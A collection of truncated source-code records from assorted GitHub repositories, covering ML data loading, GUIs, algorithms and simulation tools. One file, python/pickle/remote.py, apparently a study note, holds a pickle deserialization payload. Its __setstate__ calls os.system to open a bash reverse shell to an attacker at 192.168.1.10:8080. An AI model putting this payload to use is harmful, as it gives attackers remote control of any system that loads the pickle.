] | null | null | null | 2DNet/src/dataset/dataset.py | BhaveshJP25/RSNA | 48d85faf82651b1ae4fdcd829ce2d4978a858d3f | [
"MIT"
] | null | null | null | import torch.utils.data as data
import torch
import albumentations
import cv2
import numpy as np
import random
import math
from settings import train_png_dir
def generate_transforms(image_size):
IMAGENET_SIZE = image_size
train_transform = albumentations.Compose([
albumentations.Resize(IMAGENET_SIZE, ... | 35.428571 | 127 | 0.585905 |
791a1d723e3ac41611111288856b9455ae2db9b4 | 7,325 | py | Python | resources/mechanics_lib/api/symbolic.py | PRECISE/ROSLab | 2a6a295b71d4c73bc5c6ae2ec0330274afa31d0d | [
"Apache-2.0"
] | 7 | 2016-01-20T02:33:00.000Z | 2021-02-04T04:06:57.000Z | resources/mechanics_lib/api/symbolic.py | PRECISE/ROSLab | 2a6a295b71d4c73bc5c6ae2ec0330274afa31d0d | [
"Apache-2.0"
] | null | null | null | resources/mechanics_lib/api/symbolic.py | PRECISE/ROSLab | 2a6a295b71d4c73bc5c6ae2ec0330274afa31d0d | [
"Apache-2.0"
] | 3 | 2016-10-05T07:20:30.000Z | 2017-11-20T10:36:50.000Z | import math
from operator import add, mul, div, sub
class Symbol:
def __init__(self, name, default=None):
self.name = name
self.default = default
def __str__(self):
return self.name
def __repr__(self):
if self.default is None:
return 'SYMB[%s]' % self.name
else:
return 'SYMB[%s... | 29.417671 | 113 | 0.625119 |
f776538d6282674313ee6dc35b608e379b9e103d | 462 | py | Python | python/pickle/remote.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/pickle/remote.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/pickle/remote.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | import pickle
import os
class foobar:
def __init__(self):
pass
def __getstate__(self):
return self.__dict__
def __setstate__(self, state):
# The attack is from 192.168.1.10
# The attacker is listening on port 8080
os.system('/bin/bash -c "/bin/bash -... | 22 | 83 | 0.621212 |
f783c7d956c2efc0cb4921dd6357b6611624950a | 572 | py | Python | lintcode/035-[DUP]-Search-Insert-Position/SearchInsertPosition_001.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2015-12-16T04:01:03.000Z | 2015-12-16T04:01:03.000Z | lintcode/035-[DUP]-Search-Insert-Position/SearchInsertPosition_001.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2016-02-09T06:00:07.000Z | 2016-02-09T07:20:13.000Z | lintcode/035-[DUP]-Search-Insert-Position/SearchInsertPosition_001.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 2 | 2019-06-27T09:07:26.000Z | 2019-07-01T04:40:13.000Z | class Solution:
"""
@param A : a list of integers
@param target : an integer to be inserted
@return : an integer
"""
def searchInsert(self, A, target):
# write your code here
l, r = 0, len(A) - 1
while l <= r:
m = (l + r) / 2
if A[m] == target:
... | 20.428571 | 45 | 0.431818 |
e3cdadd33382dcd22537074f84cb4cc19d050097 | 1,423 | py | Python | prepareTables.py | flying-sheep/optolith-client | dd3077164e31696b0bb0c8ae8fb895f99ebba6f1 | [
"Apache-2.0",
"CC0-1.0"
] | null | null | null | prepareTables.py | flying-sheep/optolith-client | dd3077164e31696b0bb0c8ae8fb895f99ebba6f1 | [
"Apache-2.0",
"CC0-1.0"
] | null | null | null | prepareTables.py | flying-sheep/optolith-client | dd3077164e31696b0bb0c8ae8fb895f99ebba6f1 | [
"Apache-2.0",
"CC0-1.0"
] | null | null | null | import base64
import os
import os.path
import sys
import zipfile
import cryptography
from cryptography.fernet import Fernet
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
def decryptTables():
... | 27.365385 | 82 | 0.696416 |
583543d3f10a9e7a836f64188b7503eb2a4a8e08 | 5,422 | py | Python | badgeprinter.py | pintman/badgeprinter | c8030624a3f2cd33bf8e0b041175e0257eabf815 | [
"MIT"
] | null | null | null | badgeprinter.py | pintman/badgeprinter | c8030624a3f2cd33bf8e0b041175e0257eabf815 | [
"MIT"
] | 1 | 2017-07-01T12:14:47.000Z | 2017-07-09T11:00:37.000Z | badgeprinter.py | pintman/badgeprinter | c8030624a3f2cd33bf8e0b041175e0257eabf815 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -'''- coding: utf-8 -'''-
import sys
import subprocess
from PySide.QtCore import *
from PySide.QtGui import *
from PySide.QtDeclarative import *
import PIL
import PIL.Image
import sqlite3
import random
from time import sleep
import os
import configparser
os.chdir(os.path.dirname(os.path.rea... | 36.884354 | 193 | 0.632239 |
5475bff1e28db07ad788dae614bde2a3e0dbdf44 | 191 | py | Python | exercises/en/exc_03_14_03.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | 2 | 2020-07-07T01:46:37.000Z | 2021-04-20T03:19:43.000Z | exercises/en/exc_03_14_03.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | null | null | null | exercises/en/exc_03_14_03.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | null | null | null | import spacy
nlp = spacy.blank("en")
people = ["David Bowie", "Angela Merkel", "Lady Gaga"]
# Create a list of patterns for the PhraseMatcher
patterns = [nlp(person) for person in people]
| 21.222222 | 54 | 0.712042 |
5491672aaacc47d79cd598167ffc71acb67f4987 | 19,823 | py | Python | python/en/archive/books/jump2python/j2p-05_6_1-import_modules.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/archive/books/jump2python/j2p-05_6_1-import_modules.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/archive/books/jump2python/j2p-05_6_1-import_modules.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
j2p-05_6-import_modules.py
p.251, 05-6. 외장 함수
The Python Standard Library¶
https://docs.python.org/3/library/index.html
Copy & Paste the commands in this script.
이 스크립트의 명령어는 복사해서 Python prompt >>> 에 붙이기로 실행.
"""
#%% sys
# sys 모듈로 파이썬 인터프리터가 제공하는 변수와 함수를 직접 제어할 수 있다.
... | 31.869775 | 400 | 0.508904 |
54c00deca98864734a9ea2fb1379fa401e4950fd | 616 | py | Python | leetcode/543-Diameter-of-Binary-Tree/dfs_recursive_me.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2015-12-16T04:01:03.000Z | 2015-12-16T04:01:03.000Z | leetcode/543-Diameter-of-Binary-Tree/dfs_recursive_me.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2016-02-09T06:00:07.000Z | 2016-02-09T07:20:13.000Z | leetcode/543-Diameter-of-Binary-Tree/dfs_recursive_me.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 2 | 2019-06-27T09:07:26.000Z | 2019-07-01T04:40:13.000Z | # Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def diameterOfBinaryTree(self, root: TreeNode) -> int:
_, res = self.max_depth(root)
return res
def max_depth(self, ... | 30.8 | 103 | 0.616883 |
b7b5a0f33ba89b330993f718c5f06e0741a89e7f | 1,527 | py | Python | tensorflow/basic-rl/tutorial8/gym/breakout/breakout_random.py | gopala-kr/ds-notebooks | bc35430ecdd851f2ceab8f2437eec4d77cb59423 | [
"MIT"
] | 1 | 2019-05-10T09:16:23.000Z | 2019-05-10T09:16:23.000Z | tensorflow/basic-rl/tutorial8/gym/breakout/breakout_random.py | gopala-kr/ds-notebooks | bc35430ecdd851f2ceab8f2437eec4d77cb59423 | [
"MIT"
] | null | null | null | tensorflow/basic-rl/tutorial8/gym/breakout/breakout_random.py | gopala-kr/ds-notebooks | bc35430ecdd851f2ceab8f2437eec4d77cb59423 | [
"MIT"
] | 1 | 2019-05-10T09:17:28.000Z | 2019-05-10T09:17:28.000Z | '''
Random Breakout AI player
@author: Victor Mayoral Vilches <victor@erlerobotics.com>
'''
import gym
import numpy
import random
import pandas
if __name__ == '__main__':
env = gym.make('Breakout-v0')
env.monitor.start('/tmp/breakout-experiment-1', force=True)
# video_callable=lambda count: count ... | 27.267857 | 109 | 0.639162 |
4deeed8aa1253076ca937b9a354bcdeba019bc51 | 462 | py | Python | task_5/create_example.py | christopher-besch/bwinf39 | e5394b37894a56608312057d179029d8a5df98fd | [
"MIT"
] | 1 | 2021-01-04T15:16:44.000Z | 2021-01-04T15:16:44.000Z | task_5/create_example.py | christopher-besch/bwinf39 | e5394b37894a56608312057d179029d8a5df98fd | [
"MIT"
] | null | null | null | task_5/create_example.py | christopher-besch/bwinf39 | e5394b37894a56608312057d179029d8a5df98fd | [
"MIT"
] | null | null | null | from random import choice
def main():
amount_students = 1000
amount_wishes = 100
print(amount_students)
for student_number in range(1, amount_students + 1):
wishes = []
for _ in range(amount_wishes):
while str(wish := choice(range(1, amount_students + 1))) in wish... | 24.315789 | 80 | 0.569264 |
150538a9741d119e14f2e15d72281b72c44210bf | 74 | py | Python | python/coursera_python/WESLEYAN/week3/COURSERA/week_3/t_6.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/coursera_python/WESLEYAN/week3/COURSERA/week_3/t_6.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/coursera_python/WESLEYAN/week3/COURSERA/week_3/t_6.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | infilename = input()
outfilename = input()
print(infilename,outfilename)
| 14.8 | 29 | 0.77027 |
4215537d3e39a92788e9a43f55a4d74635db25bf | 2,281 | py | Python | bewerte/note.py | jupfi81/NotenManager | ee96a41088bb898c025aed7b3c904741cb71d004 | [
"MIT"
] | null | null | null | bewerte/note.py | jupfi81/NotenManager | ee96a41088bb898c025aed7b3c904741cb71d004 | [
"MIT"
] | null | null | null | bewerte/note.py | jupfi81/NotenManager | ee96a41088bb898c025aed7b3c904741cb71d004 | [
"MIT"
] | null | null | null | """ Modul, dass die Gesamtnote fuer einen Schueler bestimmt """
import configparser
from statistics import mean
def endnote(schueler, klasserc):
""" Berechnet die Gesamtnote (klappt nur, wenn es nur schriftlich un mündlich gibt"""
# Schritt 1: loesche in allen Listen die leeren Noten
for art in schueler:
... | 43.865385 | 100 | 0.569049 |
42b1be2d3c4471a7cca6c9fb32ef9512a827e432 | 366 | py | Python | pacman-termux/test/pacman/tests/overwrite-files-match-negated.py | Maxython/pacman-for-termux | 3b208eb9274cbfc7a27fca673ea8a58f09ebad47 | [
"MIT"
] | 23 | 2021-05-21T19:11:06.000Z | 2022-03-31T18:14:20.000Z | source/pacman-6.0.1/test/pacman/tests/overwrite-files-match-negated.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 11 | 2021-05-21T12:08:44.000Z | 2021-12-21T08:30:08.000Z | source/pacman-6.0.1/test/pacman/tests/overwrite-files-match-negated.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-09-26T08:44:40.000Z | 2021-09-26T08:44:40.000Z | self.description = "Install a package with an existing file matching a negated --overwrite pattern"
p = pmpkg("dummy")
p.files = ["foobar"]
self.addpkg(p)
self.filesystem = ["foobar*"]
self.args = "-U --overwrite=foobar --overwrite=!foo* %s" % p.filename()
self.addrule("!PACMAN_RETCODE=0")
self.addrule("!PKG_EXIST=... | 26.142857 | 99 | 0.713115 |
676013cbf4f52ac7c30faf41992f7941e996adac | 1,559 | py | Python | intro-vietstack/tools/release-programs.py | vietstack/vietstack.github.io | 6571001dc72751ee89115d9ed520c2b9ca2f2b86 | [
"MIT"
] | 1 | 2016-11-29T09:35:50.000Z | 2016-11-29T09:35:50.000Z | intro-vietstack/tools/release-programs.py | vietstack/vietstack.github.io | 6571001dc72751ee89115d9ed520c2b9ca2f2b86 | [
"MIT"
] | 8 | 2016-09-23T01:25:12.000Z | 2016-11-14T04:02:16.000Z | intro-vietstack/tools/release-programs.py | vietstack/vietstack.github.io | 6571001dc72751ee89115d9ed520c2b9ca2f2b86 | [
"MIT"
] | 14 | 2016-09-22T01:46:57.000Z | 2019-09-05T05:42:11.000Z | #!/usr/bin/python
import os
import sys
import argparse
import yaml
releases = [
'austin', 'bexar', 'cactus',
'diablo', 'essex', 'folsom',
'grizzly', 'havana', 'icehouse', 'juno', 'kilo'
]
release_dict = dict((y,x) for x,y in (enumerate(releases)))
def parse_args():
p = argparse.ArgumentParser()
... | 23.984615 | 69 | 0.556767 |
c02847c1d491cc1ce610e1dc490f15e02e0b2bde | 2,984 | py | Python | src/Sephrasto/UI/CharakterFreieFert.py | Ilaris-Tools/Sephrasto | 8574a5b45da8ebfa5f69a775066fd3136da1c718 | [
"MIT"
] | 1 | 2022-02-02T16:15:59.000Z | 2022-02-02T16:15:59.000Z | src/Sephrasto/UI/CharakterFreieFert.py | Ilaris-Tools/Sephrasto | 8574a5b45da8ebfa5f69a775066fd3136da1c718 | [
"MIT"
] | 1 | 2022-01-14T11:04:19.000Z | 2022-01-14T11:04:19.000Z | src/Sephrasto/UI/CharakterFreieFert.py | lukruh/Sephrasto | 8574a5b45da8ebfa5f69a775066fd3136da1c718 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'CharakterFreieFert.ui'
#
# Created by: PyQt5 UI code generator 5.15.6
#
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
# run again. Do not edit this file unless you know what you are doing.
from PyQt5 import Q... | 44.537313 | 156 | 0.702748 |
c036d64299ea73f594f3e7274d7746722758b468 | 329 | py | Python | backend/fakebox/models/player.py | teodorvoicencu/FakeBox | f14ca83643894d9d0761294cfce511a52401de68 | [
"MIT"
] | null | null | null | backend/fakebox/models/player.py | teodorvoicencu/FakeBox | f14ca83643894d9d0761294cfce511a52401de68 | [
"MIT"
] | null | null | null | backend/fakebox/models/player.py | teodorvoicencu/FakeBox | f14ca83643894d9d0761294cfce511a52401de68 | [
"MIT"
] | null | null | null | class Player:
def __init__(self, player_id: int, nickname: str, websocket, is_vip: bool = False):
self.player_id = player_id
self.nickname = nickname
self.is_vip = is_vip
self.websocket = websocket
def __repr__(self):
return 'Player({}, {})'.format(self.player_id, self.n... | 32.9 | 87 | 0.641337 |
97eb068e3b56a2721bae8b3d960ae96d868aea8a | 924 | py | Python | cs/lambda_cs/05_hash_tables_and_blockchain/Hash-Tables/notes/longest_linked_list_chain.py | tobias-fyi/vela | b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82 | [
"MIT"
] | null | null | null | cs/lambda_cs/05_hash_tables_and_blockchain/Hash-Tables/notes/longest_linked_list_chain.py | tobias-fyi/vela | b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82 | [
"MIT"
] | 8 | 2020-03-24T17:47:23.000Z | 2022-03-12T00:33:21.000Z | cs/lambda_cs/05_hash_tables_and_blockchain/Hash-Tables/notes/longest_linked_list_chain.py | tobias-fyi/vela | b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82 | [
"MIT"
] | null | null | null | def longest_linked_list_chain(keys, buckets, loops=10):
"""
Rolls `keys` number of random keys into `buckets` buckets
and counts the collisions.
Run `loops` number of times.
"""
for i in range(loops):
key_counts = {}
for i in range(buckets):
key_counts[i] = 0
... | 31.862069 | 124 | 0.611472 |
e188fa4d523ec6ccd55ce55e698060c3b7fa8330 | 6,409 | py | Python | hihope_neptune-oh_hid/00_src/v0.1/third_party/LVM2/daemons/lvmdbusd/automatedproperties.py | dawmlight/vendor_oh_fun | bc9fb50920f06cd4c27399f60076f5793043c77d | [
"Apache-2.0"
] | 1 | 2022-02-15T08:51:55.000Z | 2022-02-15T08:51:55.000Z | hihope_neptune-oh_hid/00_src/v0.3/third_party/LVM2/daemons/lvmdbusd/automatedproperties.py | dawmlight/vendor_oh_fun | bc9fb50920f06cd4c27399f60076f5793043c77d | [
"Apache-2.0"
] | null | null | null | hihope_neptune-oh_hid/00_src/v0.3/third_party/LVM2/daemons/lvmdbusd/automatedproperties.py | dawmlight/vendor_oh_fun | bc9fb50920f06cd4c27399f60076f5793043c77d | [
"Apache-2.0"
] | null | null | null | # Copyright (C) 2015-2016 Red Hat, Inc. All rights reserved.
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions
# of the GNU General Public License v.2.
#
# You should have received a copy of the GNU General Public License
# a... | 32.866667 | 78 | 0.73428 |
55cdd1e45a11845aec8414b82e74156ad78c9607 | 2,654 | py | Python | scripts/qt2/pyqt_sw23a_MouseEvent.py | ProfJust/Ruhr-TurtleBot-Competition-RTC- | 5c2425bee331b4d5033757a9425676932d111775 | [
"Unlicense",
"MIT"
] | null | null | null | scripts/qt2/pyqt_sw23a_MouseEvent.py | ProfJust/Ruhr-TurtleBot-Competition-RTC- | 5c2425bee331b4d5033757a9425676932d111775 | [
"Unlicense",
"MIT"
] | null | null | null | scripts/qt2/pyqt_sw23a_MouseEvent.py | ProfJust/Ruhr-TurtleBot-Competition-RTC- | 5c2425bee331b4d5033757a9425676932d111775 | [
"Unlicense",
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
#pyqt_sw23_MouseEvent.py
import sys
from PyQt5.QtCore import (Qt, QTimer, QRect)
from PyQt5.QtWidgets import (QWidget, QPushButton, QApplication, QLabel)
from PyQt5.QtGui import QPainter, QColor, QFont
from PyQt5.QtGui import QPixmap, QKeyEvent
class Ui(QWidget):
#statisc... | 33.175 | 85 | 0.589676 |
e9e5ca591180e68e5942d7efb72a444d291477f7 | 77 | py | Python | Online-Judges/CodingBat/Python/Warmup-01/03-sum_double.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | 3 | 2021-06-15T01:19:23.000Z | 2022-03-16T18:23:53.000Z | Online-Judges/CodingBat/Python/Warmup-01/03-sum_double.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | null | null | null | Online-Judges/CodingBat/Python/Warmup-01/03-sum_double.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | null | null | null | def sum_double(a, b):
if a == b:
return (a+b)*2
else:
return a+b
| 12.833333 | 21 | 0.519481 |
a15ced1edd95d5755d2aa895aec50099e9ad43f2 | 448 | py | Python | src/onegov/org/models/recipient.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/org/models/recipient.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/org/models/recipient.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.core.orm.mixins import content_property
from onegov.recipient import GenericRecipient, GenericRecipientCollection
class ResourceRecipient(GenericRecipient):
__mapper_args__ = {'polymorphic_identity': 'resource'}
send_on = content_property()
resources = content_property()
class ResourceRecip... | 29.866667 | 73 | 0.787946 |
3d740609ff1f485574f2febbb5422c34d0cb75ed | 3,146 | py | Python | PMIa/2015/NIKISHIN_P_S/task_10_22.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | PMIa/2015/NIKISHIN_P_S/task_10_22.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | PMIa/2015/NIKISHIN_P_S/task_10_22.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | # Задача 10. Вариант 22.
# 1-50. Напишите программу "Генератор персонажей" для игры. Пользователю должно быть предоставлено 30 пунктов, которые можно распределить между четырьмя характеристиками: Сила, Здоровье, Мудрость и Ловкость. Надо сделать так, чтобы пользователь мог не только брать эти пункты из общего "пула", ... | 37.903614 | 379 | 0.587095 |
3def1b29e37a332d4d958bd4bd88114812ae6bb1 | 119 | py | Python | crawlab/tasks/celery.py | anhilo/crawlab | 363f4bf7a4ccc192a99850998c1bd0fc363832a1 | [
"BSD-3-Clause"
] | 1 | 2019-08-20T14:26:39.000Z | 2019-08-20T14:26:39.000Z | crawlab/tasks/celery.py | anhilo/crawlab | 363f4bf7a4ccc192a99850998c1bd0fc363832a1 | [
"BSD-3-Clause"
] | 9 | 2019-05-24T03:53:09.000Z | 2022-02-26T10:53:48.000Z | crawlab/tasks/celery.py | anhilo/crawlab | 363f4bf7a4ccc192a99850998c1bd0fc363832a1 | [
"BSD-3-Clause"
] | 1 | 2019-11-08T08:12:40.000Z | 2019-11-08T08:12:40.000Z | from celery import Celery
# celery app instance
celery_app = Celery(__name__)
celery_app.config_from_object('config')
| 19.833333 | 39 | 0.815126 |
9adc7243f4d1b70f6873f955bafaa824462615fa | 249 | py | Python | Licence 2/I33/TP 4/ex_9.py | axelcoezard/licence | 1ed409c4572dea080169171beb7e8571159ba071 | [
"MIT"
] | 8 | 2020-11-26T20:45:12.000Z | 2021-11-29T15:46:22.000Z | Licence 2/I33/TP 4/ex_9.py | axelcoezard/licence | 1ed409c4572dea080169171beb7e8571159ba071 | [
"MIT"
] | null | null | null | Licence 2/I33/TP 4/ex_9.py | axelcoezard/licence | 1ed409c4572dea080169171beb7e8571159ba071 | [
"MIT"
] | 6 | 2020-10-23T15:29:24.000Z | 2021-05-05T19:10:45.000Z | import random
def liste_perm(n):
L = []
for i in range(n):
L += [i]
i = 1
while i < n:
perm = random.randrange(0, n-i)
tmp = L[perm]
L[perm] = L[n-i]
L[n-i] = tmp
i += 1
return L
| 15.5625 | 39 | 0.413655 |
b11713ccbb2131e4e20add32f21fdefe3fa8d9a0 | 4,015 | py | Python | Co-Simulation/Sumo/sumo-1.7.0/tools/emissions/nefz.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 4 | 2020-11-13T02:35:56.000Z | 2021-03-29T20:15:54.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/emissions/nefz.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 9 | 2020-12-09T02:12:39.000Z | 2021-02-18T00:15:28.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/emissions/nefz.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 1 | 2020-11-20T19:31:26.000Z | 2020-11-20T19:31:26.000Z | #!/usr/bin/env python
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo
# Copyright (C) 2012-2020 German Aerospace Center (DLR) and others.
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License 2.0 which is available at
# https://www.ec... | 24.041916 | 77 | 0.440349 |
49516b57d0d0f33dd71e42650cd7a6279ade8bcf | 1,629 | py | Python | books/PythonAutomate/gui_automate/pyautogui_sample.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | books/PythonAutomate/gui_automate/pyautogui_sample.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | books/PythonAutomate/gui_automate/pyautogui_sample.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | import time
import pyautogui
# 주 모니터 사이즈 얻기
screen_width, screen_height = pyautogui.size()
"""마우스"""
current_mouse_x, current_mouse_y = pyautogui.position() # 마우스 X, Y 좌표 얻기
pyautogui.moveTo(100, 150, duration=0.25) # 마우스 이동 0.25초 동안 이동
pyautogui.click() # 마우스 클릭
pyautogui.click(100, 200, duration=1) # 마우스 좌표 1초 ... | 33.244898 | 80 | 0.675261 |
4978c2185db81f3c0ea3ab2b2820e34016c557b7 | 584 | py | Python | torba/torba/tasks.py | mittalkartik2000/lbry-sdk | a07b17ec0c9c5d0a88bc730caf6ab955e0971b38 | [
"MIT"
] | 4,076 | 2018-06-01T05:54:24.000Z | 2022-03-07T21:05:52.000Z | torba/torba/tasks.py | mittalkartik2000/lbry-sdk | a07b17ec0c9c5d0a88bc730caf6ab955e0971b38 | [
"MIT"
] | 80 | 2018-06-14T01:02:03.000Z | 2019-06-19T10:45:39.000Z | torba/torba/tasks.py | braveheart12/lbry-sdk | dc709b468f9dce60d206161785def5c7ace2b763 | [
"MIT"
] | 20 | 2018-06-27T21:52:22.000Z | 2022-03-08T11:25:23.000Z | from asyncio import Event, get_event_loop
class TaskGroup:
def __init__(self, loop=None):
self._loop = loop or get_event_loop()
self._tasks = set()
self.done = Event()
def add(self, coro):
task = self._loop.create_task(coro)
self._tasks.add(task)
self.done.cle... | 23.36 | 48 | 0.599315 |
b8d75f3e6a3776837c546ec4202d1c291ff9e457 | 942 | py | Python | Python/M01_ProgrammingBasics/L03_ConditionalStatementsAdvanced/Exercises/Solutions/P03_NewHouse.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | null | null | null | Python/M01_ProgrammingBasics/L03_ConditionalStatementsAdvanced/Exercises/Solutions/P03_NewHouse.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | null | null | null | Python/M01_ProgrammingBasics/L03_ConditionalStatementsAdvanced/Exercises/Solutions/P03_NewHouse.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | 1 | 2022-02-23T13:03:14.000Z | 2022-02-23T13:03:14.000Z | flowers = input()
qty = int(input())
budget = int(input())
price = 0
Roses = 5
Dahlias = 3.8
Tulips = 2.8
Narcissus = 3
Gladiolus = 2.5
if flowers == "Roses":
if qty > 80:
price = Roses * qty * 0.9
else:
price = Roses * qty
elif flowers == "Dahlias":
if qty > 90:
price = Dahlias *... | 22.428571 | 99 | 0.56051 |
62786a1b62e28402836c7f170871c33f550107ef | 4,015 | py | Python | Gundlagen IT-Hardware/Aufgabe5u6.py | thieleju/studium | f23db7c7d2c30a2f0095cfdd25a4944c39d80d82 | [
"MIT"
] | 2 | 2021-11-16T22:53:25.000Z | 2021-11-17T12:30:49.000Z | Gundlagen IT-Hardware/Aufgabe5u6.py | thieleju/studium | f23db7c7d2c30a2f0095cfdd25a4944c39d80d82 | [
"MIT"
] | 1 | 2022-02-23T18:56:51.000Z | 2022-02-23T19:09:20.000Z | Gundlagen IT-Hardware/Aufgabe5u6.py | thieleju/studium | f23db7c7d2c30a2f0095cfdd25a4944c39d80d82 | [
"MIT"
] | 1 | 2022-01-24T16:54:10.000Z | 2022-01-24T16:54:10.000Z | #!/usr/bin/env python
import time
import explorerhat as hat
def decToBin(decimal):
binArray = [0] * 4
temp = decimal
if temp > 15 or temp < 0:
print("decimal out of bounds!")
return
# example: decimal = 5
# 1st iteration (i=3):
# binArray[3] = 5 % 2 = ... | 27.689655 | 103 | 0.479452 |
b29c70a6632455a1a288439e0c8f3067a0014c9d | 2,467 | py | Python | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/netvisor/test_pn_admin_session_timeout.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/netvisor/test_pn_admin_session_timeout.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/netvisor/test_pn_admin_session_timeout.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | # Copyright: (c) 2018, Pluribus Networks
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from ansible_collections.community.general.tests.unit.compat.mock import patch
from ansible_coll... | 44.854545 | 150 | 0.702878 |
0c161b64aac6b7eff8ff620e776c7c359b978c52 | 264 | pyde | Python | sketches/runningorc00/runningorc00.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | 4 | 2018-06-03T02:11:46.000Z | 2021-08-18T19:55:15.000Z | sketches/runningorc00/runningorc00.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
